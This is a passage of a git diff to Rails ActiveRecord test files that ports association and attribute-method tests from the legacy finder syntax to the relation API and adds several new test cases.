-    assert_equal 1, authors(:mary).unique_categorized_posts.find_all_by_title("So I was thinking").size
+    assert_equal 1, authors(:mary).unique_categorized_posts.to_a.size
   end
 
   def test_polymorphic_has_many_going_through_join_model
@@ -71,7 +66,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_polymorphic_has_many_going_through_join_model_with_find
-    assert_equal tags(:general), tag = posts(:welcome).tags.find(:first)
+    assert_equal tags(:general), tag = posts(:welcome).tags.first
     assert_no_queries do
       tag.tagging
     end
@@ -85,7 +80,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
-    assert_equal tags(:general), tag = posts(:welcome).funky_tags.find(:first)
+    assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
     assert_no_queries do
       tag.tagging
     end
@@ -179,7 +174,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_polymorphic_has_many_with_delete_all
     assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_column :taggable_type, 'PostWithHasManyDeleteAll'
+    posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyDeleteAll'
     post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
 
     old_count = Tagging.count
@@ -190,7 +185,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_polymorphic_has_many_with_destroy
     assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_column :taggable_type, 'PostWithHasManyDestroy'
+    posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyDestroy'
     post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
 
     old_count = Tagging.count
@@ -201,7 +196,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_polymorphic_has_many_with_nullify
     assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_column :taggable_type, 'PostWithHasManyNullify'
+    posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyNullify'
     post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
 
     old_count = Tagging.count
@@ -212,7 +207,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_polymorphic_has_one_with_destroy
     assert posts(:welcome).tagging
-    posts(:welcome).tagging.update_column :taggable_type, 'PostWithHasOneDestroy'
+    posts(:welcome).tagging.update_columns taggable_type: 'PostWithHasOneDestroy'
     post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
 
     old_count = Tagging.count
@@ -223,7 +218,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_polymorphic_has_one_with_nullify
     assert posts(:welcome).tagging
-    posts(:welcome).tagging.update_column :taggable_type, 'PostWithHasOneNullify'
+    posts(:welcome).tagging.update_columns taggable_type: 'PostWithHasOneNullify'
     post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
 
     old_count = Tagging.count
@@ -237,8 +232,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_has_many_through
-    posts              = Post.find(:all, :order => 'posts.id')
-    posts_with_authors = Post.find(:all, :include => :authors, :order => 'posts.id')
+    posts              = Post.all.merge!(:order => 'posts.id').to_a
+    posts_with_authors = Post.all.merge!(:includes => :authors, :order => 'posts.id').to_a
     assert_equal posts.length, posts_with_authors.length
     posts.length.times do |i|
       assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
@@ -246,7 +241,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_polymorphic_has_one
-    post    = Post.find_by_id(posts(:welcome).id, :include => :tagging)
+    post    = Post.includes(:tagging).find posts(:welcome).id
     tagging = taggings(:welcome_general)
     assert_no_queries do
       assert_equal tagging, post.tagging
@@ -254,7 +249,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_polymorphic_has_one_defined_in_abstract_parent
-    item    = Item.find_by_id(items(:dvd).id, :include => :tagging)
+    item    = Item.includes(:tagging).find items(:dvd).id
     tagging = taggings(:godfather)
     assert_no_queries do
       assert_equal tagging, item.tagging
@@ -262,8 +257,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_polymorphic_has_many_through
-    posts           = Post.find(:all, :order => 'posts.id')
-    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
+    posts           = Post.all.merge!(:order => 'posts.id').to_a
+    posts_with_tags = Post.all.merge!(:includes => :tags, :order => 'posts.id').to_a
     assert_equal posts.length, posts_with_tags.length
     posts.length.times do |i|
       assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
@@ -271,8 +266,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_polymorphic_has_many
-    posts               = Post.find(:all, :order => 'posts.id')
-    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
+    posts               = Post.all.merge!(:order => 'posts.id').to_a
+    posts_with_taggings = Post.all.merge!(:includes => :taggings, :order => 'posts.id').to_a
     assert_equal posts.length, posts_with_taggings.length
     posts.length.times do |i|
       assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
@@ -280,25 +275,20 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_find_all
-    assert_equal [categories(:general)], authors(:david).categories.find(:all)
+    assert_equal [categories(:general)], authors(:david).categories.to_a
   end
 
   def test_has_many_find_first
-    assert_equal categories(:general), authors(:david).categories.find(:first)
+    assert_equal categories(:general), authors(:david).categories.first
   end
 
   def test_has_many_with_hash_conditions
-    assert_equal categories(:general), authors(:david).categories_like_general.find(:first)
+    assert_equal categories(:general), authors(:david).categories_like_general.first
   end
 
   def test_has_many_find_conditions
-    assert_equal categories(:general), authors(:david).categories.find(:first, :conditions => "categories.name = 'General'")
-    assert_nil authors(:david).categories.find(:first, :conditions => "categories.name = 'Technology'")
-  end
-
-  def test_has_many_class_methods_called_by_method_missing
-    assert_equal categories(:general), authors(:david).categories.find_all_by_name('General').first
-    assert_nil authors(:david).categories.find_by_name('Technology')
+    assert_equal categories(:general), authors(:david).categories.where("categories.name = 'General'").first
+    assert_nil authors(:david).categories.where("categories.name = 'Technology'").first
   end
 
   def test_has_many_array_methods_called_by_method_missing
@@ -327,14 +317,6 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     assert_equal [authors(:david), authors(:bob)], posts(:thinking).authors_using_custom_pk.order('authors.id')
   end
 
-  def test_both_scoped_and_explicit_joins_should_be_respected
-    assert_nothing_raised do
-      Post.send(:with_scope, :find => {:joins => "left outer join comments on comments.id = posts.id"}) do
-        Post.find :all, :select => "comments.id, authors.id", :joins => "left outer join authors on authors.id = posts.author_id"
-      end
-    end
-  end
-
   def test_belongs_to_polymorphic_with_counter_cache
     assert_equal 1, posts(:welcome)[:taggings_count]
     tagging = posts(:welcome).taggings.create(:tag => tags(:general))
@@ -362,7 +344,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     end
 
     assert_raise ActiveRecord::EagerLoadPolymorphicError do
-      tags(:general).taggings.find(:all, :include => :taggable, :conditions => 'bogus_table.column = 1')
+      tags(:general).taggings.includes(:taggable).where('bogus_table.column = 1').references(:bogus_table).to_a
     end
   end
 
@@ -372,7 +354,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_eager_has_many_polymorphic_with_source_type
-    tag_with_include = Tag.find(tags(:general).id, :include => :tagged_posts)
+    tag_with_include = Tag.all.merge!(:includes => :tagged_posts).find(tags(:general).id)
     desired = posts(:welcome, :thinking)
     assert_no_queries do
       # added sort by ID as otherwise test using JRuby was failing as array elements were in different order
@@ -382,20 +364,20 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_many_find_all
-    assert_equal comments(:greetings), authors(:david).comments.find(:all, :order => 'comments.id').first
+    assert_equal comments(:greetings), authors(:david).comments.order('comments.id').to_a.first
   end
 
   def test_has_many_through_has_many_find_all_with_custom_class
-    assert_equal comments(:greetings), authors(:david).funky_comments.find(:all, :order => 'comments.id').first
+    assert_equal comments(:greetings), authors(:david).funky_comments.order('comments.id').to_a.first
   end
 
   def test_has_many_through_has_many_find_first
-    assert_equal comments(:greetings), authors(:david).comments.find(:first, :order => 'comments.id')
+    assert_equal comments(:greetings), authors(:david).comments.order('comments.id').first
   end
 
   def test_has_many_through_has_many_find_conditions
-    options = { :conditions => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
-    assert_equal comments(:does_it_hurt), authors(:david).comments.find(:first, options)
+    options = { :where => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
+    assert_equal comments(:does_it_hurt), authors(:david).comments.merge(options).first
   end
 
   def test_has_many_through_has_many_find_by_id
@@ -403,7 +385,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_polymorphic_has_one
-    assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).tagging
+    assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).taggings_2
   end
 
   def test_has_many_through_polymorphic_has_many
@@ -411,7 +393,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_include_has_many_through_polymorphic_has_many
-    author            = Author.find_by_id(authors(:david).id, :include => :taggings)
+    author            = Author.includes(:taggings).find authors(:david).id
     expected_taggings = taggings(:welcome_general, :thinking_general)
     assert_no_queries do
       assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
@@ -419,7 +401,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_eager_load_has_many_through_has_many
-    author = Author.find :first, :conditions => ['name = ?', 'David'], :include => :comments, :order => 'comments.id'
+    author = Author.all.merge!(:where => ['name = ?', 'David'], :includes => :comments, :order => 'comments.id').first
     SpecialComment.new; VerySpecialComment.new
     assert_no_queries do
       assert_equal [1,2,3,5,6,7,8,9,10,12], author.comments.collect(&:id)
@@ -427,7 +409,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_eager_load_has_many_through_has_many_with_conditions
-    post = Post.find(:first, :include => :invalid_tags)
+    post = Post.all.merge!(:includes => :invalid_tags).first
     assert_no_queries do
       post.invalid_tags
     end
@@ -435,8 +417,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_eager_belongs_to_and_has_one_not_singularized
     assert_nothing_raised do
-      Author.find(:first, :include => :author_address)
-      AuthorAddress.find(:first, :include => :author)
+      Author.all.merge!(:includes => :author_address).first
+      AuthorAddress.all.merge!(:includes => :author).first
     end
   end
 
@@ -452,7 +434,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_uses_conditions_specified_on_the_has_many_association
-    author = Author.find(:first)
+    author = Author.first
     assert_present author.comments
     assert_blank author.nonexistant_comments
   end
@@ -471,7 +453,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     assert saved_post.tags.include?(new_tag)
 
     assert new_tag.persisted?
-    assert new_tag.in?(saved_post.reload.tags(true))
+    assert saved_post.reload.tags(true).include?(new_tag)
 
 
     new_post = Post.new(:title => "Association replacmenet works!", :body => "You best believe it.")
@@ -484,7 +466,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
     new_post.save!
     assert new_post.persisted?
-    assert saved_tag.in?(new_post.reload.tags(true))
+    assert new_post.reload.tags(true).include?(saved_tag)
 
     assert !posts(:thinking).tags.build.persisted?
     assert !posts(:thinking).tags.new.persisted?
@@ -595,7 +577,27 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete("Uhh what now?") }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete(Object.new) }
+  end
+
+  def test_deleting_by_fixnum_id_from_has_many_through
+    post = posts(:thinking)
+
+    assert_difference 'post.tags.count', -1 do
+      assert_equal 1, post.tags.delete(1).size
+    end
+
+    assert_equal 0, post.tags.size
+  end
+
+  def test_deleting_by_string_id_from_has_many_through
+    post = posts(:thinking)
+
+    assert_difference 'post.tags.count', -1 do
+      assert_equal 1, post.tags.delete('1').size
+    end
+
+    assert_equal 0, post.tags.size
   end
 
   def test_has_many_through_sum_uses_calculations
@@ -622,7 +624,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_polymorphic_has_many
     expected = taggings(:welcome_general)
-    p = Post.find(posts(:welcome).id, :include => :taggings)
+    p = Post.all.merge!(:includes => :taggings).find(posts(:welcome).id)
     assert_no_queries {assert p.taggings.include?(expected)}
     assert posts(:welcome).taggings.include?(taggings(:welcome_general))
   end
@@ -630,18 +632,18 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   def test_polymorphic_has_one
     expected = posts(:welcome)
 
-    tagging  = Tagging.find(taggings(:welcome_general).id, :include => :taggable)
+    tagging  = Tagging.all.merge!(:includes => :taggable).find(taggings(:welcome_general).id)
     assert_no_queries { assert_equal expected, tagging.taggable}
   end
 
   def test_polymorphic_belongs_to
-    p = Post.find(posts(:welcome).id, :include => {:taggings => :taggable})
+    p = Post.all.merge!(:includes => {:taggings => :taggable}).find(posts(:welcome).id)
     assert_no_queries {assert_equal posts(:welcome), p.taggings.first.taggable}
   end
 
   def test_preload_polymorphic_has_many_through
-    posts           = Post.find(:all, :order => 'posts.id')
-    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
+    posts           = Post.all.merge!(:order => 'posts.id').to_a
+    posts_with_tags = Post.all.merge!(:includes => :tags, :order => 'posts.id').to_a
     assert_equal posts.length, posts_with_tags.length
     posts.length.times do |i|
       assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
@@ -649,7 +651,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_preload_polymorph_many_types
-    taggings = Tagging.find :all, :include => :taggable, :conditions => ['taggable_type != ?', 'FakeModel']
+    taggings = Tagging.all.merge!(:includes => :taggable, :where => ['taggable_type != ?', 'FakeModel']).to_a
     assert_no_queries do
       taggings.first.taggable.id
       taggings[1].taggable.id
@@ -662,13 +664,13 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_preload_nil_polymorphic_belongs_to
     assert_nothing_raised do
-      Tagging.find(:all, :include => :taggable, :conditions => ['taggable_type IS NULL'])
+      Tagging.all.merge!(:includes => :taggable, :where => ['taggable_type IS NULL']).to_a
     end
   end
 
   def test_preload_polymorphic_has_many
-    posts               = Post.find(:all, :order => 'posts.id')
-    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
+    posts               = Post.all.merge!(:order => 'posts.id').to_a
+    posts_with_taggings = Post.all.merge!(:includes => :taggings, :order => 'posts.id').to_a
     assert_equal posts.length, posts_with_taggings.length
     posts.length.times do |i|
       assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
@@ -676,7 +678,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_belongs_to_shared_parent
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 1')
+    comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 1').to_a
     assert_no_queries do
       assert_equal comments.first.post, comments[1].post
     end
@@ -684,7 +686,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_has_many_through_include_uses_array_include_after_loaded
     david = authors(:david)
-    david.categories.class # force load target
+    david.categories.load_target
 
     category = david.categories.first
 
@@ -731,9 +733,9 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     # create dynamic Post models to allow different dependency options
     def find_post_with_dependency(post_id, association, association_name, dependency)
       class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
-      Post.find(post_id).update_column :type, class_name
+      Post.find(post_id).update_columns type: class_name
       klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
-      klass.set_table_name 'posts'
+      klass.table_name = 'posts'
       klass.send(association, association_name, :as => :taggable, :dependent => dependency)
       klass.find(post_id)
     end
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index 530f5212a2..03d99d19f6 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -505,7 +505,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   def test_nested_has_many_through_with_conditions_on_through_associations_preload_via_joins
     # Pointless condition to force single-query loading
     assert_includes_and_joins_equal(
-      Author.where('tags.id = tags.id'),
+      Author.where('tags.id = tags.id').references(:tags),
       [authors(:bob)], :misc_post_first_blue_tags
     )
   end
@@ -526,7 +526,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   def test_nested_has_many_through_with_conditions_on_source_associations_preload_via_joins
     # Pointless condition to force single-query loading
     assert_includes_and_joins_equal(
-      Author.where('tags.id = tags.id'),
+      Author.where('tags.id = tags.id').references(:tags),
       [authors(:bob)], :misc_post_first_blue_tags_2
     )
   end
@@ -545,6 +545,15 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal [organizations(:nsa)], organizations
   end
 
+  def test_nested_has_many_through_should_not_be_autosaved
+    c = Categorization.new
+    c.author = authors(:david)
+    c.post_taggings.to_a
+    assert !c.post_taggings.empty?
+    c.save
+    assert !c.post_taggings.empty?
+  end
+
   private
 
     def assert_includes_and_joins_equal(query, expected, association)
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index ffe2993e0f..c0f1945cec 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/computer'
 require 'models/developer'
 require 'models/project'
 require 'models/company'
@@ -28,7 +29,7 @@ class AssociationsTest < ActiveRecord::TestCase
     molecule.electrons.create(:name => 'electron_1')
     molecule.electrons.create(:name => 'electron_2')
 
-    liquids = Liquid.includes(:molecules => :electrons).where('molecules.id is not null')
+    liquids = Liquid.includes(:molecules => :electrons).references(:molecules).where('molecules.id is not null')
     assert_equal 1, liquids[0].molecules.length
   end
 
@@ -66,15 +67,15 @@ class AssociationsTest < ActiveRecord::TestCase
     ship = Ship.create!(:name => "The good ship Dollypop")
     part = ship.parts.create!(:name => "Mast")
     part.mark_for_destruction
-    ShipPart.find(part.id).update_column(:name, 'Deck')
+    ShipPart.find(part.id).update_columns(name: 'Deck')
     ship.parts.send(:load_target)
     assert_equal 'Deck', ship.parts[0].name
   end
 
 
   def test_include_with_order_works
-    assert_nothing_raised {Account.find(:first, :order => 'id', :include => :firm)}
-    assert_nothing_raised {Account.find(:first, :order => :id, :include => :firm)}
+    assert_nothing_raised {Account.all.merge!(:order => 'id', :includes => :firm).first}
+    assert_nothing_raised {Account.all.merge!(:order => :id, :includes => :firm).first}
   end
 
   def test_bad_collection_keys
@@ -85,7 +86,7 @@ class AssociationsTest < ActiveRecord::TestCase
 
   def test_should_construct_new_finder_sql_after_create
     person = Person.new :first_name => 'clark'
-    assert_equal [], person.readers.all
+    assert_equal [], person.readers.to_a
     person.save!
     reader = Reader.create! :person => person, :post => Post.new(:title => "foo", :body => "bar")
     assert person.readers.find(reader.id)
@@ -109,7 +110,7 @@ class AssociationsTest < ActiveRecord::TestCase
   end
 
   def test_using_limitable_reflections_helper
-    using_limitable_reflections = lambda { |reflections| Tagging.scoped.send :using_limitable_reflections?, reflections }
+    using_limitable_reflections = lambda { |reflections| Tagging.all.send :using_limitable_reflections?, reflections }
     belongs_to_reflections = [Tagging.reflect_on_association(:tag), Tagging.reflect_on_association(:super_tag)]
     has_many_reflections = [Tag.reflect_on_association(:taggings), Developer.reflect_on_association(:projects)]
     mixed_reflections = (belongs_to_reflections + has_many_reflections).uniq
@@ -128,6 +129,11 @@ class AssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_association_with_references
+    firm = companies(:first_firm)
+    assert_equal ['foo'], firm.association_with_references.references_values
+  end
+
 end
 
 class AssociationProxyTest < ActiveRecord::TestCase
@@ -170,7 +176,7 @@ class AssociationProxyTest < ActiveRecord::TestCase
     david = developers(:david)
 
     assert !david.projects.loaded?
-    david.update_column(:created_at, Time.now)
+    david.update_columns(created_at: Time.now)
     assert !david.projects.loaded?
   end
 
@@ -208,6 +214,17 @@ class AssociationProxyTest < ActiveRecord::TestCase
     david = developers(:david)
     assert_equal david.association(:projects), david.projects.proxy_association
   end
+
+  def test_scoped_allows_conditions
+    assert developers(:david).projects.merge!(where: 'foo').where_values.include?('foo')
+  end
+
+  test "getting a scope from an association" do
+    david = developers(:david)
+
+    assert david.projects.scope.is_a?(ActiveRecord::Relation)
+    assert_equal david.projects, david.projects.scope
+  end
 end
 
 class OverridingAssociationsTest < ActiveRecord::TestCase
@@ -273,3 +290,18 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
     )
   end
 end
+
+class GeneratedMethodsTest < ActiveRecord::TestCase
+  fixtures :developers, :computers, :posts, :comments
+  def test_association_methods_override_attribute_methods_of_same_name
+    assert_equal(developers(:david), computers(:workstation).developer)
+    # this next line will fail if the attribute methods module is generated lazily
+    # after the association methods module is generated
+    assert_equal(developers(:david), computers(:workstation).developer)
+    assert_equal(developers(:david).id, computers(:workstation)[:developer])
+  end
+
+  def test_model_method_overrides_association_method
+    assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
+  end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index e03ed33591..da5d9d8c2a 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -1,21 +1,28 @@
 require "cases/helper"
-require 'active_support/core_ext/object/inclusion'
+require 'thread'
 
 module ActiveRecord
   module AttributeMethods
     class ReadTest < ActiveRecord::TestCase
       class FakeColumn < Struct.new(:name)
-        def type_cast_code(var)
-          var
-        end
-
         def type; :integer; end
       end
 
       def setup
         @klass = Class.new do
+          def self.superclass; Base; end
+          def self.active_record_super; Base; end
+          def self.base_class; self; end
+
+          extend ActiveRecord::Configuration
           include ActiveRecord::AttributeMethods
-          include ActiveRecord::AttributeMethods::Read
+
+          def self.define_attribute_methods
+            # Created in the inherited/included hook for "proper" ARs
+            @attribute_methods_mutex ||= Mutex.new
+
+            super
+          end
 
           def self.column_names
             %w{ one two three }
@@ -33,9 +40,6 @@ module ActiveRecord
               [name, FakeColumn.new(name)]
             }]
           end
-
-          def self.serialized_attributes; {}; end
-          def self.base_class; self; end
         end
       end
 
@@ -43,13 +47,13 @@ module ActiveRecord
         instance = @klass.new
 
         @klass.column_names.each do |name|
-          assert !name.in?(instance.methods.map(&:to_s))
+          assert !instance.methods.map(&:to_s).include?(name)
         end
 
         @klass.define_attribute_methods
 
         @klass.column_names.each do |name|
-          assert name.in?(instance.methods.map(&:to_s)), "#{name} is not defined"
+          assert instance.methods.map(&:to_s).include?(name), "#{name} is not defined"
         end
       end
 
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 9300c57819..4bc68acd13 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_support/core_ext/object/inclusion'
 require 'models/minimalistic'
 require 'models/developer'
 require 'models/auto_id'
@@ -30,9 +29,11 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     t = Topic.new
     t.title = "hello there!"
     t.written_on = Time.now
+    t.author_name = ""
     assert t.attribute_present?("title")
     assert t.attribute_present?("written_on")
     assert !t.attribute_present?("content")
+    assert !t.attribute_present?("author_name")
   end
 
   def test_attribute_present_with_booleans
@@ -53,6 +54,12 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert Boolean.find(b4.id).attribute_present?(:value)
   end
 
+  def test_caching_nil_primary_key
+    klass = Class.new(Minimalistic)
+    klass.expects(:reset_primary_key).returns(nil).once
+    2.times { klass.primary_key }
+  end
+
   def test_attribute_keys_on_new_instance
     t = Topic.new
     assert_equal nil, t.title, "The topics table has a title column, so it should be nil"
@@ -96,7 +103,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   def test_respond_to?
     topic = Topic.find(1)
     assert_respond_to topic, "title"
-    assert_respond_to topic, "_title"
     assert_respond_to topic, "title?"
     assert_respond_to topic, "title="
     assert_respond_to topic, :title
@@ -113,9 +119,15 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_not_nil keyboard.key_number
     assert_equal keyboard.key_number, keyboard.id
     assert keyboard.respond_to?('key_number')
-    assert keyboard.respond_to?('_key_number')
     assert keyboard.respond_to?('id')
-    assert keyboard.respond_to?('_id')
+  end
+
+  def test_id_before_type_cast_with_custom_primary_key
+    keyboard = Keyboard.create
+    keyboard.key_number = '10'
+    assert_equal '10', keyboard.id_before_type_cast
+    assert_equal nil, keyboard.read_attribute_before_type_cast('id')
+    assert_equal '10', keyboard.read_attribute_before_type_cast('key_number')
   end
 
   # Syck calls respond_to? before actually calling initialize
@@ -230,7 +242,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     # DB2 is not case-sensitive
     return true if current_adapter?(:DB2Adapter)
 
-    assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.find(:first).attributes
+    assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.first.attributes
   end
 
   def test_hashes_not_mangled
@@ -255,8 +267,14 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     topic.send(:write_attribute, :title, "Still another topic")
     assert_equal "Still another topic", topic.title
 
-    topic.send(:write_attribute, "title", "Still another topic: part 2")
+    topic[:title] = "Still another topic: part 2"
     assert_equal "Still another topic: part 2", topic.title
+
+    topic.send(:write_attribute, "title", "Still another topic: part 3")
+    assert_equal "Still another topic: part 3", topic.title
+
+    topic["title"] = "Still another topic: part 4"
+    assert_equal "Still another topic: part 4", topic.title
   end
 
   def test_read_attribute
@@ -309,6 +327,39 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     # puts ""
   end
 
+  def test_overridden_write_attribute
+    topic = Topic.new
+    def topic.write_attribute(attr_name, value)
+      super(attr_name, value.downcase)
+    end
+
+    topic.send(:write_attribute, :title, "Yet another topic")
+    assert_equal "yet another topic", topic.title
+
+    topic[:title] = "Yet another topic: part 2"
+    assert_equal "yet another topic: part 2", topic.title
+
+    topic.send(:write_attribute, "title", "Yet another topic: part 3")
+    assert_equal "yet another topic: part 3", topic.title
+
+    topic["title"] = "Yet another topic: part 4"
+    assert_equal "yet another topic: part 4", topic.title
+  end
+
+  def test_overridden_read_attribute
+    topic = Topic.new
+    topic.title = "Stop changing the topic"
+    def topic.read_attribute(attr_name)
+      super(attr_name).upcase
+    end
+
+    assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, "title")
+    assert_equal "STOP CHANGING THE TOPIC", topic["title"]
+
+    assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, :title)
+    assert_equal "STOP CHANGING THE TOPIC", topic[:title]
+  end
+
   def test_read_overridden_attribute
     topic = Topic.new(:title => 'a')
     def topic.title() 'b' end
@@ -428,23 +479,23 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   end
 
   def test_typecast_attribute_from_select_to_false
-    topic = Topic.create(:title => 'Budget')
+    Topic.create(:title => 'Budget')
     # Oracle does not support boolean expressions in SELECT
     if current_adapter?(:OracleAdapter)
-      topic = Topic.find(:first, :select => "topics.*, 0 as is_test")
+      topic = Topic.all.merge!(:select => "topics.*, 0 as is_test").first
     else
-      topic = Topic.find(:first, :select => "topics.*, 1=2 as is_test")
+      topic = Topic.all.merge!(:select => "topics.*, 1=2 as is_test").first
     end
     assert !topic.is_test?
   end
 
   def test_typecast_attribute_from_select_to_true
-    topic = Topic.create(:title => 'Budget')
+    Topic.create(:title => 'Budget')
     # Oracle does not support boolean expressions in SELECT
     if current_adapter?(:OracleAdapter)
-      topic = Topic.find(:first, :select => "topics.*, 1 as is_test")
+      topic = Topic.all.merge!(:select => "topics.*, 1 as is_test").first
     else
-      topic = Topic.find(:first, :select => "topics.*, 2=2 as is_test")
+      topic = Topic.all.merge!(:select => "topics.*, 2=2 as is_test").first
     end
     assert topic.is_test?
   end
@@ -507,6 +558,14 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_write_time_to_date_attributes
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.last_read = Time.utc(2010, 1, 1, 10)
+      assert_equal Date.civil(2010, 1, 1), record.last_read
+    end
+  end
+
   def test_time_attributes_are_retrieved_in_current_time_zone
     in_time_zone "Pacific Time (US & Canada)" do
       utc_time = Time.utc(2008, 1, 1)
@@ -542,6 +601,17 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_setting_time_zone_aware_read_attribute
+    utc_time = Time.utc(2008, 1, 1)
+    cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.create(:written_on => cst_time).reload
+      assert_equal utc_time, record[:written_on]
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record[:written_on].time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record[:written_on].time
+    end
+  end
+
   def test_setting_time_zone_aware_attribute_with_string
     utc_time = Time.utc(2008, 1, 1)
     (-11..13).each do |timezone_offset|
